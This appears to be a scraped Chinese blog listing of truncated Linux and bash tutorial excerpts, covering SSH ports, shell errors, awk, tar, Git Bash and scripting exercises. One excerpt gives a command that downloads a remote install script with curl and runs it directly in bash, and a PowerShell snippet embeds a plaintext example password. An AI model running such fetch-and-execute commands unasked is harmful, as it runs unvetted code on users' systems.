Linux 目录结构 /usr/share:独立于体系架构的共享信息 /usr/local:本地数据的三级层次结构&#xff0c;特定于此主机 /usr/local/share:本机的架构独立的共享信息 /usr/share/etc:本地二进制文件的特定于主机的系统配置 关于更多/usr/local 目录参见此处 指令分析 curl() {$…

修改ssh/sftp端口

ssh/sftp默认端口是22.开通网络策略时&#xff0c;多会因为安全问题产生不便&#xff0c;所以需要修改端口。与其说是修改&#xff0c;不如说是增加,以增加2222端口为例。方法如下&#xff1a; 修改ssh配置文件/etc/ssh/ssh_config及/etc/ssh/sshd_config 将Port 22前面的#放开…

计算机系统(X):处理器读取并且解释储存再内存中的指令

shell Shell模拟图解释Shell是一种应用程序&#xff0c;是用户和操作系统内核交流的桥&#xff0c;同时Shell也是一种编程脚本查看shell命令cat /etc/shells默认shellecho $SHELL 系统的硬件组成 部分解释特性总线一组线总线位数&#xff1a;32位&#xff0c;64位等IO设备输入…

linux操作系统中shell和bash

目录 shell命令以及运行原理 为什么不能直接使用kernel&#xff1f; 总的来说&#xff1a; shell命令以及运行原理 Linux严格意义上说的是一个操作系统&#xff0c;称之为“核心&#xff08;kernel&#xff09;“ &#xff0c;但我们一般用户&#xff0c;不能直接使用kernel。…

Linux操作集 (以乌班图为例)

软件安装相关 软件执行文件安装目录&#xff1a; whereis sdcc atom安装插件 Atom->->edit->preference->install atom 设置中文 atom-chs-menu插件 乌班图语言设置中文 安装中文之后拖到第一个&#xff0c;Apply System-Wide linux桌面和命令行切换 ctrl…

Linux中 Argument list too long解决方案

bash: /bin/cp: Argument list too long bash: /bin/mv: Argument list too long 在linux下&#xff0c;试图传太多参数给一个系统命令(ls *; cp *; rm *; cat *; etc…)时&#xff0c;就会出现 Argument list too long错误&#xff0c;参数列表过长&#xff0c;就是文件过多…

Linux中bash详解

一、什么是bash? bash是一个命令处理器, 运行在文本窗口中, 并能执行用户直接输入的命令.bash还能从文件中读取Linux命令, 称之为脚本.bash支持通配符, 管道, 命令替换, 条件判断等逻辑控制语句 二、bash特性 2.1、命令展开行(echo) 注: 如果{}之间的参数之间有空格的话, 就…

运行命令出现错误 /bin/bash^M: bad interpreter: No such file or directory

在系统上运行一个 Linux 的命令的时候出现下面的错误信息&#xff1a; -bash: ./build.sh: /bin/bash^M: bad interpreter: No such file or directory 这个是在 Windows 作为 WSL 的时候出的错误。 原因和解决 出现问题的原因在于脚本在 Windows 中使用的回车换行和 Linux …

Linux centos7 bash编程——-求质数和

训练项目&#xff1a;使用函数求质数和。 定义一个函数IsPrime()&#xff0c;据此判断一个数是否为质数 由用户输入一个整数&#xff0c;求出比此数大的两个最小质数之和。 一、解决思路: 1.先在键盘上输入一个整数 2.求出比此数大的最小质数 3.再求出比此质数大的另一个…

linux centos7 系统之编程:求水仙花数

在Python编程中&#xff0c;有列表、元组和字典三类变量可以使用&#xff0c;方便数据的存储与处理&#xff0c;而bash中仅有字符串变量、数组、函数可用&#xff0c;方法运用上受到限制&#xff0c;这与bash基于C语言&#xff0c;注重语法结构的严谨有关。而Python等高级语言更…

shell(1) 变量相关

参考&#xff1a;Shell变量&#xff1a;Shell变量的定义、删除变量、只读变量、变量类型_C语言中文网 1.编辑test.sh文件如下 #!/bin/bash echo "Hello World !" “#!” 是一个约定的标记&#xff0c;它告诉系统这个脚本需要什么解释器来执行&#xff0c;即使…

Linux 修改.bash_profile后 造成命令无法使用bash: command not found

昨天晚上修改了 /root/.bash_profile了之后.. 重启centos 发现命令无法使用了. 包括VI命令也不能使用.GUI界面也出错了... 错了勿如下 bash: * command not found 很明显是因为 PATH路径设置错误造成的 网上找了很多办法都没有效果... 尝试很多次才解决.. VI命令 需要加…

.bashrc 修改

Command ‘ls’ is available in ‘/bin/ls’ The command could not be located because ‘/bin’ is not included in the PATH environment variable. ls: command not found 主要还是因为粗心&#xff0c;在添加环境变量修改.bashrc文件时&#xff0c;因为粗心将:$PATH写…

shell之tail

一般在查询错误日志时&#xff0c;都会通过tail查看日志文件的最后几行&#xff0c;默认最后10行 $ cat t.txt 1 2 3 4 5 6 7 8 9 10 11 12 13默认最后10行 $ tail t.txt 4 5 6 7 8 9 10 11 12 13指定行数 -n 行数 $ tail -n 3 t.txt 11 12 13动态的输出正在更新的日志文件…

一条nginx命令引发的对于容器的思考

去年的时候写了一篇原创《前后端分离&#xff0c;如何在前端项目中动态插入后端API基地址&#xff1f;&#xff08;in docker&#xff09;》&#xff0c; 我自认为这篇生产实践是对大前端、 容器化、CI/CD的得意之作。对于前后端分离的web项目&#xff0c;在容器启动的瞬间&…

linux 或 macOS 终端 美化

Oh My Zsh PowerLevel10k &#x1f60e; terminal - DEV Community

【BASH】回顾与知识点梳理(三十四)

【BASH】回顾与知识点梳理 三十四 三十四. 认识系统服务&#xff08;二&#xff09;34.1 systemctl 针对 service 类型的配置文件systemctl 配置文件相关目录简介systemctl 配置文件的设定项目简介[Unit] 部份[Service] 部份[Install] 部份 两个 vsftpd 运作的实例多重的重复设…

【BASH】回顾与知识点梳理(三十八)

【BASH】回顾与知识点梳理 三十八 三十八. 源码概念及简单编译38.1 开放源码的软件安装与升级简介什么是开放源码、编译程序与可执行文件什么是函式库什么是 make 与 configure什么是 Tarball 的软件如何安装与升级软件 38.2 使用传统程序语言进行编译的简单范例单一程序&#…

GNU GRUB version 2.06 Minimal Bash-lke line editing is supported 问题修复

一、问题背景 博主喜欢折腾系统&#xff0c;电脑原来有一个windows系统&#xff0c;想整一个Linux双系统&#xff0c;结果开机时出现以下画面&#xff1a; GNU GRUB version 2.06 Minimal Bash-lke line editing is supported. TAB lists possible comand completions, Anywh…

【Git Bash】简明从零教学

目录 Git 的作用官网介绍简明概要 Git 下载链接Git 的初始配置配置用户初始化本地库 Git 状态查询Git 工作机制本地工作机制远端工作机制 Git 的本地管理操作add 将修改添加至暂存区commit 将暂存区提交至本地仓库日志查询版本穿梭 Git 分支查看分支创建与切换分支跨分支修改与…

Shell脚本中运行python程序并获得返回值在shell脚本中使用

对于一些字符串的处理&#xff0c;比如提取字符串中的数字、字符串特殊符号分割等&#xff0c;使用Python的一些函数效率更高。这就需要在sh脚本里面编写Python程序&#xff0c;并获得返回值。 ###cat语句之后是python程序&#xff0c;并保存为tmp_ID.py cat <<EOF >…

【Bash】常用命令总结

文章目录 1. 文件查询1.1 查看文件夹内&#xff08;包含子文件夹&#xff09;文件数量1.2 查看文件夹大小 任务简介&#xff1a; 对bash常用命令进行总结。 任务说明&#xff1a; 对平时工作中使用bash的相关命令做一个记录和说明&#xff0c;方便以后查阅。 1. 文件查询 1.…

Linux操作系统基础 – 正则表达式快速入门

Linux操作系统基础 – 正则表达式快速入门 Linux Operating System Essentials - Introduction to Regular Expressions 通常在计算机科学领域&#xff0c;正则表达式被解释为对字符串操作的一种逻辑公式&#xff0c;即用事先定义好的特定字符及其组合组成所谓的“规则字符串”…

centos x-ui

x-ui使用方法_搞点云南白药的博客-CSDN博客 1 安装命令 bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh)2 服务器网页打开对应端口 3 服务器打开端口 firewall-cmd --zonepublic --add-port9966/tcp --permanent systemctl restart f…

创意无限,批量为视频添加个性化图片,让你的视频独一无二

视频剪辑是展示个人才华和创造力的一种方式&#xff0c;而为视频添加个性化图片&#xff0c;更是能够让您的作品独一无二&#xff01;现在&#xff0c;我们为您提供了一个创意无限的解决方案&#xff0c;让您能够轻松批量为视频添加不同的图片&#xff0c;让您的作品更加出色&a…

bash中执行比较的几种方法

bash 脚本中的 test 命令用于检查表达式的有效性&#xff0c;检查命令或表达式为 true 或者 false。此外&#xff0c;它还可以用于检查文件的类型和权限。 如果命令或表达式有效&#xff0c;则 test 命令返回0&#xff0c;否则返回1。 使用 test 命令 test 命令的基本语法如…

CMake rv1109交叉编译环境搭建

安装vmware虚拟机 准备安装包VMware-workstation-full-15.5.1-15018445.exe 下载地址安装 参考资料 在vmware上安装Linux环境 准备安装包ubuntu-18.04.4-desktop-amd64.iso 下载地址安装 参考资料 安装rv1109交叉编译工具链 准备安装包rv1109_toolchain_release.tar.bz2 下…

Manjaro安装使用

Manjaro安装使用 1.先更改镜像源&#xff1a;sudo pacman-mirrors -c China -g 2.安装第三方软件管理工具 &#xff1a;sudo pacman -Sy yay 导入GPG Key sudo pacman -Syy && sudo pacman -S archlinuxcn-keyring安装输入法 sudo pacman -S fcitx-im (#默认全部安装…

Shell脚本开发:printf和test命令的实际应用

目录 Shell printf 命令 打印简单文本 Shell test 命令 1、文件测试 2、字符串比较 3、整数比较 逻辑运算&#xff1a; Shell printf 命令 当你使用Shell中的printf命令时&#xff0c;它可以帮助你格式化和输出文本。 打印简单文本 这将简单地打印字符串"Hello, …

通过git bash激活虚拟环境遇到的问题

直接git bash后用conda activate激活一直报错 报错如下&#xff1a; CommandNotFoundError: Your shell has not been properly configured to use ‘conda activate’. If using ‘conda activate’ from a batch script, change your invocation to ‘CALL conda.bat activa…

shell脚本指令实用

写一个1.sh脚本&#xff0c;将以下内容放到脚本中&#xff1a; 在家目录下创建目录文件&#xff0c;dir 在dir下创建dir1和dir2 把当前目录下的所有文件拷贝到dir1中&#xff0c; 把当前目录下的所有脚本文件拷贝到dir2中 把dir2打包并压缩为dir2.tar.xz 再把dir2.tar.xz…

9.7 C高级day2 作业

#!/bin/bash mkdir ~/dir mkdir ~/dir/dir1 mkdir ~/dir/dir2 cp ./* ~/dir/dir1 -r cp ./*.sh ~/dir/dir2 cd ~/dir tar -cJf dir2.tar.xz dir2 mv dir2.tar.xz dir1 cd tar -xJf dir/dir1/dir2.tar.xz -C dir/dir1 tree ~/dir

Linux CentOS7 添加中文输入法

在安装CentOS7时&#xff0c;现在默认安装了桌面中文系统。可以切换为英文&#xff0c;中英文可以按要求随时更换。而在CentOS7桌面环境下&#xff0c;显示中文非常方便、正确&#xff0c;并不能录入中文。 在远程登录系统的情况下&#xff0c;不论是系统语言&#xff08;LANG…

【mysql】 bash: mysql: command not found

在linux 服务器上安装了mysql 也可以正常运行。 但是执行命令&#xff0c;系统提示&#xff1a;bash: mysql: command not found bash:mysql:找不到命令 执行的命令是&#xff1a; mysql -u root -h 127.0.0.1 -p由于系统默认会查找的 /usr/bin/ 中下的命令&#xff0c;如…

c高级day4(9.11)shell脚本(case ....in语句,循环语句,select ...in和case...In结合,辅助控制关键字,函数)

1.实现一个对数组就和的函数&#xff0c;数组通过实参传递给函数 2.写一个函数&#xff0c;输出当前用户的uid和gid&#xff0c;并使用变量接收结果 #!/bin/bash read -a arr sum0 function add() { …

Linux centos7 bash编程训练__打印各类形状

利用for循环&#xff0c;打印各种不同的三角形、矩形和菱形。 主要是fort循环嵌套使用&#xff0c;及条件判断等。 因方法简单&#xff0c;不作更多解释&#xff0c;部分注释可以帮助初学者掌握代码。 下面列出代码&#xff0c;供参考。 #! /bin/bash ## 打印输出各种*型形…

Linux中执行bash脚本报错/bin/bash^M: bad interpreter: No such file or directory

文章目录 参考博客&#xff1a; Linux中执行bash脚本报错/bin/bash^M: bad interpreter: No such file or directory 首先在此对这位博主表示感谢。 运行bash脚本会出现两个文件&#xff0c;1037.err和1037.out。 1037.err的文件内容如下&#xff1a; /data/home/user12/.lsbat…

Shell脚本之awk的用法

Shell脚本之awk的用法 所有参数参数常见用法 所有参数参数 基本格式&#xff1a;awk ‘pattern { action }’ file -f program&#xff1a;使用程序文件program中的AWK脚本来处理输入数据。 -F fs&#xff1a;设置输入字段分隔符为fs。默认情况下&#xff0c;AWK使用空格或制…

在Linux中掌握不同的命令,让创建文件变得易如反掌

在Linux中创建一个新文件很简单,但也有一些令人惊讶和灵巧的技术。​在本教程中,学习如何从Linux终端创建文件。​ 先决条件 访问命令行/终端窗口(Ctrl-Alt-F2或Ctrl-Alt-T) 具有sudo权限的用户帐户(对于某些文件/目录是可选的) 从命令行创建新的Linux文件 Linux的设计…

02 powershell服务器远程执行命令

一、获取服务器登录凭证 $Username myft\xngrq $PWD 123!# #将密码加密成特殊的字符串对象 $pass ConvertTo-SecureString -AsPlainText $PWD -Force #创建一个登录凭证对象 $Cred New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass …

TBSS数据分析

tbss分析基本流程&#xff1a; 步骤一&#xff0c;指标解算&#xff1a;求解出FA&#xff0c;MD&#xff0c;AD&#xff0c;RD指标 #!/bin/bash #基于体素的形态学分析VBA path/media/kui/Passport5T/DATA_help/TBSS/row_data mkdir ${path}/Results_DTI_tbss mkdir ${path}/R…

UOS/Linux的root权限下启动一个带界面的程序

我们正常的思路是通过su命令: su user -c "带界面的程序路径" 很遗憾,这是不可行的。于是我们再用runuser试下? runuser -l user -c "带界面的程序路径" 吼吼,报错了。 qt.qpa.screen: QXcbConnection: Cloud not connect to display Cloud not …

右键菜单添加 Open Git Bash

前言 在使用 TortoiseGit 作为Git的可视化工具&#xff0c;但是会经常用到命令行操作&#xff0c;一般来说&#xff0c;安装了TortoiseGit后&#xff0c;右键会出现 open git-bash here... 的命令。但是&#xff0c;可能由于某些原因&#xff0c;这个右键菜单选项不见了。下面…

BASH shell脚本篇4——函数

这篇文章介绍下BASH shell中的函数。之前有介绍过shell的其它命令&#xff0c;请参考&#xff1a; BASH shell脚本篇1——基本命令 BASH shell脚本篇2——条件命令 BASH shell脚本篇3——字符串处理 函数是代码重用的最重要方式。Bash函数可以定义为一组命令&#xff0c;在b…

BASH shell脚本篇5——文件处理

这篇文章介绍下BASH shell中的文件处理。之前有介绍过shell的其它命令&#xff0c;请参考&#xff1a; BASH shell脚本篇1——基本命令 BASH shell脚本篇2——条件命令 BASH shell脚本篇3——字符串处理 BASH shell脚本篇4——函数 在Bash Shell脚本中&#xff0c;可以使用…

Docker中出现bash: vim: command not found解决方案

Linux系统分为两种&#xff1a; RedHat系列&#xff1a;Redhat、Centos、Fedora等Debian系列&#xff1a;Debian、Ubuntu等 RedHat系列的包管理工具是yum Debian系列的包管理工具是apt-get 问题: bash: vim: command not found解决步骤: Debian系列 1.第一步 apt-get up…

Linux解压缩命令 tar -zxvf 压缩-zcvf 到指定文件夹-C

Linux解压缩命令 tar -zxvf 压缩-zcvf 到指定文件夹-C tar -zxvf x.tar.gz 解压提取 x.tar.gztar -zcvf x.tar.gz x.source 将 x.source 压缩打包为 x.tar.gztar -zxvf x.tar.gz --directory /tmp 解压提取 x.tar.gz 到 /tmp 文件夹 解压提取 x.tar.gz 到当前文件夹 横杆(减…

用bash脚本实现openocd一次性烧录

有的时候eide扩展烧录莫名奇妙就会失灵&#xff0c;弹出"upload busy"的错误&#xff0c;网上也查不到是怎么回事&#xff0c;只好手动打指令&#xff0c;奈何openocd烧录指令又太过麻烦&#xff0c;于是多方查找整了个适合自己的脚本供自己实验&#xff0c;这里把脚…

git 详解-提升篇

git 冷门使用 承接上一篇 《git 进阶篇》&#xff0c;简单讲解 git 冷门使用方法。 码农常规使用工具 git 偶尔也有非常规操作。例如&#xff1a;提交代码时同事已经更新&#xff0c;但又不想回退本地补丁&#xff1b;或者已经提交补丁需要变更提交日志信息。 作者&#xff1…

bash编程 数组和for循环的应用

bash编程 数组和for循环的应用 1、问题背景2、bash 定义数组3、for循环遍历输出数组所有元素4、编写bash脚本输出每个端口是否在监听状态 1、问题背景 linux服务器开机后&#xff0c;需要检查一组端口是否在监听&#xff0c;以便判断这些端口对应的服务是否在运行。可以考虑使…

Linux CentOS7 vim宏操作

vim的macro就是用来解决重复的问题。在vim寄存器的文章里面已经对macro有所涉及&#xff0c;macro的操作都是以文本的方式存放在寄存器中。 宏是一组命令的集合&#xff0c;应用极其广泛&#xff0c;包括MS Office中的word编辑器&#xff0c;excel编辑器和各种文本编辑器&…

运维 | 解决 CentOS 终端主机名显示-bash-4.2 问题

运维 | 解决 CentOS 终端主机名显示-bash-4.2 问题 问题描述 登录 linux 系统过后&#xff0c;发现显示的是 -bash-4.2# 而不是 root主机名 路径 的显示方式 内容分析 根目录缺少文件配置&#xff0c;如&#xff1a;.bashrc .bash_profile切换到有故障的用户导致 解决办法…

如何使用SHC对Shell脚本进行封装和源码隐藏

在许多情况下,我们需要保护我们的shell脚本源码不被别人轻易查看。这时,使用shc工具将shell脚本编译成二进制文件是一个有效的方法。本文将详细介绍如何在线和离线条件下安装shc,并将其用于编译你的脚本。 什么是SHC? shc是一个由C语言编写的Shell脚本加密程序,它可以将…

工具箱:【1】简单的自动部署

工具箱&#xff1a;【1】简单的自动部署 1、简单粗暴直接上代码2、配合服务器的shell脚本 甲方无自动化部署平台&#xff0c;自己实在也不想搭建自动部署jekins 但是现在都是maven工程&#xff0c;一个破项目好几个jar&#xff0c;每次部署几台服务器&#xff0c;动不动忘了这个…

shell script函数function篇

function fname(){ 程序段 } #这个比较熟悉了&#xff0c;和其他计算机语言定义函数的格式都是相同的&#xff0c;上案例&#xff0c;自定义printf函数 总结&#xff1a;函数定义的格式&#xff0c;和其他语言大同小异&#xff0c;不同的是在函数调用方面&#xff0c;c和java…

git-bash配置代理

git-bash命令提交执行命令: "git push origin main"时发生错误: “$ git push origin main fatal: unable to access ‘https://github.com/satadriver/locust_server.git/’: Failed to connect to github.com port 443 after 21035 ms: Couldn’t connect to serve…

Ubuntu安装Qt出现bash: ./qt-unified-linux-x64-4.6.1-online.run: 权限不够的问题解决

在Ubuntu安装qt&#xff0c;在官网下载了linux的版本下载后为类似qt-unified-linux-version.run的文件&#xff08;比如我这里是qt-unified-linux-x64-4.6.1-online.run&#xff09;的文件&#xff0c;直接在终端运行【这里的version注意改为文件的原有的名字】&#xff1a; .…

【linux进程控制(三)】进程程序替换--如何自己实现一个bash解释器?

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:Linux从入门到精通⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学更多操作系统知识   &#x1f51d;&#x1f51d; 进程程序替换 1. 前言2. exec…

050-第三代软件开发-软件部署脚本(二)

第三代软件开发-软件部署脚本(二) 文章目录 第三代软件开发-软件部署脚本(二)项目介绍软件部署脚本(二) 关键字&#xff1a; Qt、 Qml、 bash、 shell、 脚本 项目介绍 欢迎来到我们的 QML & C 项目&#xff01;这个项目结合了 QML&#xff08;Qt Meta-Object Languag…

Git Bash环境下用perl脚本获取uuid值

在Linux环境下&#xff0c;比如在ubuntu就直接有uuidgen命令直接获取uuid值。在Windows环境下常用的git bash中没有对应的命令&#xff0c;略有不便。这里用脚本写一个uuidgen&#xff0c;模拟Linux环境下的uuidgen命令。 #! /usr/bin/perl use v5.14; use Win32;sub uuidGen {…

【Linux专题】退出bash后再运行jobs命令为什么不会显示后台任务

【Linux专题】firewalld 过滤出接口流量-CSDN博客文章浏览阅读214次。风和日丽&#xff0c;小微给你送福利~如果你是小微的老粉&#xff0c;这里有一份粉丝福利待领取...如果你是新粉关注到了小微&#xff0c;那恭喜你&#xff0c;你赚到了&#xff01;[欢迎关注微信公众号&…

正则表达式(3):入门

正则表达式&#xff08;3&#xff09;&#xff1a;入门 小结 本博文转载自 从这篇文章开始&#xff0c;我们将介绍怎样在Linux中使用”正则表达式”&#xff0c;如果你想要学习怎样在Linux中使用正则表达式&#xff0c;这些文章就是你所需要的。 在认识”正则表达式”之前&am…

【shell脚本】一些简单的shell脚本案例,mark一下

1、使用变量生成随机密码 比如自定义密码里面是数字和字母(或者还可以是某些符号等),随机生成一个想要的多少位的密码 [root@localhost test]#vim mima.sh #!/bin/bash str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPKRSTUVWXYZ0123456789" for i in {1..6} …

【shell脚本】常见的shell脚本面试题目

1、请用shell脚本for,while,until这三种方式写出输出1到100的所有偶数的方法。 sum=0;for((i=0;i<=100;i+=2));do let sum+=i;done;echo $sum sum=0;i=0;while [ $i -le 100 ];do let sum+=i;let i+=2;done;echo $sum sum=0;i=0;until [ $i -gt 100 ];do let sum+=i;let i+…

Linux(8):BASH

硬件、核心与 Shell 操作系统其实是一组软件&#xff0c;由于这组软件在控制整个硬件与管理系统的活动监测&#xff0c;如果这组软件能被用户随意的操作&#xff0c;若使用者应用不当&#xff0c;将会使得整个系统崩溃。因为操作系统管理的就是整个硬件功能。 应用程序在最外层…

服务器bash进程占用cpu过多疑似中挖矿病毒记录

发现过程 因为我有使用conky的习惯&#xff0c;也就是在桌面上会显示cpu和内存的占用情况&#xff0c;由于服务器不止我一个人使用&#xff0c;最近发现好几次我同学的账户下的bash进程占用特别多&#xff0c;问了他之后&#xff0c;他也说他几次都是没有使用过bash相关服务&a…

【Bash脚本】符号引发source后变量取不到值

写在前面 本文主要记录一下bash脚本中&符号导致source命令执行后&#xff0c;变量无法取到值的问题原因及解决方法。 目录 写在前面一、场景描述二、具体步骤1.环境说明2.脚本 写在后面 一、场景描述 今天又是美好的一天&#xff0c;吃个早餐&#xff0c;改改代码&#xff…

awk笔记231129

awk的脚本套路是: awk的脚步部分最好用一对单引号将 ‘BEGIN{} /pattern1/{}…/patternN/{} END{}’ 套起来, 因为常用到$号, $号在单引号中不会被转义, 在双引号中有取值的含义 awk -F 自定义分隔符 BEGIN{开始块} /pattern1/{操作pattern1过滤的行的块} /pattern2/{操作patt…

shell/bash 让vi/vim显示空格,及tab字符

Vim 可以用高亮显示空格和TAB。 文件中有 TAB 键的时候&#xff0c;你是看不见的。要把它显示出来&#xff1a;:set listTAB 键显示为 ^I, $显示在每行的结尾,表示换行&#xff1b;空格仍然显示为空格。:set list 进入List Mode:set nolist 退出List Mode ------------…

Shell循环:for(三)

示例&#xff1a;使用for实现批量主机root密码的修改 一、前提 已完成密钥登录配置&#xff08;ssh-keygen&#xff09;定义主机地址列表并了解远程修改密码的方法 [rootlocalhost ~]# ssh-keygen #设置免密登录[rootlocalhost ~]# ssh-copy-id 192.168.151.151 二、演示…

Shell循环:expect(一)

一、名词解释&#xff1a; 我们通过Shell可以实现简单的控制流功能&#xff0c;如&#xff1a;循环、判断等。但是对于需要交互的场合则必须通过人工来干预&#xff0c;有时候我们可能会需要实现和交互程序如ssh服务器等进行交互的功能。而Expect就使用来实现这种功能的工具。E…

1852_bash中的find应用扩展

Grey 全部学习内容汇总&#xff1a; https://github.com/GreyZhang/toolbox 1852_bash中的find应用扩展 find这个工具我用了好多年了&#xff0c;但是是不是真的会用呢&#xff1f;其实不然&#xff0c;否则也不会出现这种总结式的笔记。其实&#xff0c;注意部分小细节之后…

Shell数组函数:数组(二)

关联数组 注意&#xff1a;先声明关联数组 一、定义关联数组 方法一 #一次赋一值 #数组名[索引]变量值 [rootlocalhost ~]# declare -A ass_array1 [rootlocalhost ~]# ass_array1[index1]pear [rootlocalhost ~]# ass_array1[index2]apple [rootlocalhost ~]# ass_array1[ind…

wsl2 ubuntu下配置go执行make init 错误 /bin/bash line 1 go command not found

我原来的配置是将www设置在mnt/d/www/goland export GOPATH/mnt/d/www/goland export GOROOT/usr/local/go export PATH$PATH:$GOROOT/bin:$GOPATH/bin后面改为了下面这样&#xff0c;然后重新拉取了项目&#xff0c;就可以了。 export GOPATH/home/用户名/go export GOROOT/…

Debian 终端Shell命令行长路径改为短路径

需要修改bashrc ~/.bashrc先备份一份 cp .bashrc bashrc.backup编辑bashrc vim ~/.bashrc可以看到bashrc内容为 # ~/.bashrc: executed by bash(1) for non-login shells. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples# If…

shell编程-xargs命令详解(超详细)

文章目录 一、引言二、命令格式和选项三、示例用法四、注意事项和常见问题五、扩展应用六、总结七、参考文献 一、引言 本文将介绍Unix/Linux系统中的xargs命令&#xff0c;该命令是一个强大的命令行工具&#xff0c;用于将标准输入的数据转换为命令行参数。它可以帮助我们处理…

Kafka安装与配置-shell脚本一键安装配置(集群版)

文章目录 前言一、安装准备1. 搭建集群2. 搭建zookeeper集群3. kafka单机版 二、使用shell脚本一键安装1. 复制脚本2. 增加执行权限3. 分发脚本4. 执行脚本5. 加载用户环境变量 三、启动与停止1. 启动/停止zookeeper集群(1) 启动zookeeper集群(2) 查看zookeeper集群状态(3) 停止…

Shell数组函数:数组——数组和循环(三)

数组统计性别 一、定义性别文件 [root192 ~]# vim sex.txt jack m alice f tom m 二、定义脚本统计性别 [root192 ~]# vim sex.sh #!/bin/bash declare -A sex while read line dotypeecho $line | awk {print $2}let sex[$type] done < sex.txtfor i in ${!sex[]} doecho…

学会用bash在linux写脚本 (一)

本章主要介绍如何使用bash写脚本。 了解通配符 了解变量 了解返回值和数值运算 grep的用法是“grep 关键字 file”&#xff0c;意思是从file中过滤出含有关键字的行。 例如&#xff0c;grep root /var/log/messages&#xff0c;意思是从/var/log/messages 中过滤出含有root …

Shell三剑客:sed(命令)二

一、插入命令&#xff1a;i&#xff08;之前&#xff09; [rootlocalhost ~]# sed -r 2i aaaaaaa passwd.txt root:x:0:0:root:/root:/bin/bash aaaaaaa bin:x:1:1:bin:/bin:/sbin/nologin[rootlocalhost ~]# sed -r 2i aaaaaaa\ > bbb\ > ccc passwd.txt root:x:0:0:r…

行为型设计模式-策略模式(Strategy Pattern)

策略模式 策略模式&#xff1a;百度百科中引述为&#xff1a;指对象有某个行为&#xff0c;但是在不同的场景中&#xff0c;该行为有不同的实现算法。 策略模式是对算法的包装&#xff0c;是把使用算法的责任和算法本身分割开来&#xff0c;委派给不同的对象管理。策略模式通…

学会用bash在linux写脚本 (二)

接着上一章继续 数值的对比 判断语句 循环语句 22.5 比较、对比、判断 在写脚本时&#xff0c;有时需要做一些比较&#xff0c;例如&#xff0c;两个数字谁大谁小&#xff0c;两个字符串是否相同等。 做对比的表达式有[]、[[]]、test&#xff0c;其中[]和 test这两种表达式的…

bash中通过变量中的内容获取对应的关联数组

bash中通过变量中的内容获取对应的关联数组 Bash declare 手册&#xff1a; https://phoenixnap.com/kb/bash-declare 实际问题&#xff1a; 在 bash 中创建了多个关联数组&#xff0c;需要根据输入的值&#xff0c;获取不同的关联数组。 可以使用 if 进行多次判断&#xff…

Shell数组函数:数组——数组和循环(四)

使用数组统计&#xff0c;用户shell的类型和数量 一、脚本编辑 [root192 ~]# vim shell.sh #!/bin/bash declare -A shells while read ii dotypeecho $ii | awk -F: {print $7}let shells[$type] done < /etc/passwdfor i in ${!shells[]} doecho "$i: ${shells[$i]…

如何使用bash写脚本

本章主要介绍如何使用bash写脚本。 了解通配符了解变量了解返回值和数值运算数值的对比判断语句循环语句 grep的用法是“grep 关键字 file”&#xff0c;意思是从file中过滤出含有关键字的行。 例如&#xff0c;grep root /var/log/messages&#xff0c;意思是从/var/log/me…

13.bash shell中的if-then语句

文章目录 shell中的流控制if语句if语句if-then语句if-then-else 语句 test命令数值比较字符串比较文件比较case语句 欢迎访问个人网络日志&#x1f339;&#x1f339;知行空间&#x1f339;&#x1f339; shell中的流控制if语句 简单的脚本可以只包含顺序执行的命令&#xff0…

【Linux】使用Bash和GNU Parallel并行解压缩文件

介绍 在本教程中&#xff0c;我们将学习如何使用Bash脚本和GNU Parallel实现高效并行解压缩多个文件。这种方法在处理大量文件时可以显著加快提取过程。 先决条件 确保系统上已安装以下内容&#xff1a; BashGNU Parallel 你可以使用以下命令在不同Linux系统上安装它们&am…

Shell三剑客:正则表达式简介

前言 一、名称解释 正则表达式&#xff08;regular expression&#xff0c;RE&#xff09;是一种字符模式&#xff0c;用于在查找过程中匹配指定的字符。在大多数程序里&#xff0c;正则表达式都被置于两个正斜杠之间&#xff1b;例如/l[oO]ve/就是由正斜杠界定的正则表达式&am…

shell编程-四种if条件语句

文章目录 前言shell中四种if条件语句1. if command2. if [ condition ]3. if [[ condition ]]4. if (( expression )) 总结 前言 本文将介绍shell中四种if条件语句&#xff0c;包括if command、if [ condition ]、if [[ condition ]]、if ( expression )和if (( expression ))…

linux bash shell变量操作符 —— 筑梦之路

1. 变量子串 ${var} 返回变量var的内容&#xff0c;单独使用时有没有{}一样&#xff0c;混合多个变量和常量时&#xff0c;用{}界定变量名 ${#var} 返回变量var内容的长度 ${var:offset} 从变量var中的偏移量offset开始截取到字符串结尾的子字符串&#xff0c;offset从0开始 ${…

Shell三剑客:正则表达式(元字符)

一、定义&#xff1a;元字符字符是这样一类字符&#xff0c;它们表达的是不同字面本身的含义 二、分类&#xff1a; 1、基本正则表达式元字符 # ^ 行首定位 [rootlocalhost ~]# grep root /etc/passwd root:x:0:0:root:/root:/bin/bash operator:x:11:0:operator:/root:/…

记录 | mac打开终端时报错:login: /opt/homebrew/bin/zsh: No such file or directory [进程已完成]

mac打开终端时报错&#xff1a;login: /opt/homebrew/bin/zsh: No such file or directory [进程已完成]&#xff0c;导致终端没有办法使用的情况 说明 zsh 没有安装或者是安装路径不对 可以看看 /bin 下有没有 zsh&#xff0c;若没有&#xff0c;肯定是有 bash 那就把终端默…

23. 常用shell之 df - 显示磁盘空间使用情况 的用法和衍生用法

df&#xff08;disk free&#xff09;是一个在 Unix 和类 Unix 系统&#xff08;如 Linux 和 macOS&#xff09;中用于显示磁盘空间使用情况的命令。这个命令对于系统管理员和用户来说非常重要&#xff0c;因为它可以帮助监控和管理磁盘空间的使用情况。 基本用法 df 命令的基…

Bash 操作审计和安全加固 —— 筑梦之路

bash 记录 配置环境变量&#xff1a;/etc/profile export HISTTIMEFORMAT"%F %T "export HISTORY_FILE/var/log/history/bash_history.logexport PROMPT_COMMAND{ thisHistIDhistory 1|awk "{print \\$1}";lastCommandhistory 1| awk "{\\$1\"…

bash 5.2中文修订3

Shell Commands &#xff08;shell 命令&#xff09; 简单的 shell 命令&#xff08;例如 echo a b c &#xff09;由命令本身组成&#xff0c;后跟参数&#xff0c;参数之间用空格分隔。 更复杂的 shell 命令由以多种方式排列在一起的简单命令组成&#xff1a;一是管道&…

Linux 编写bash脚本删除一些长期没有清理的日志文件

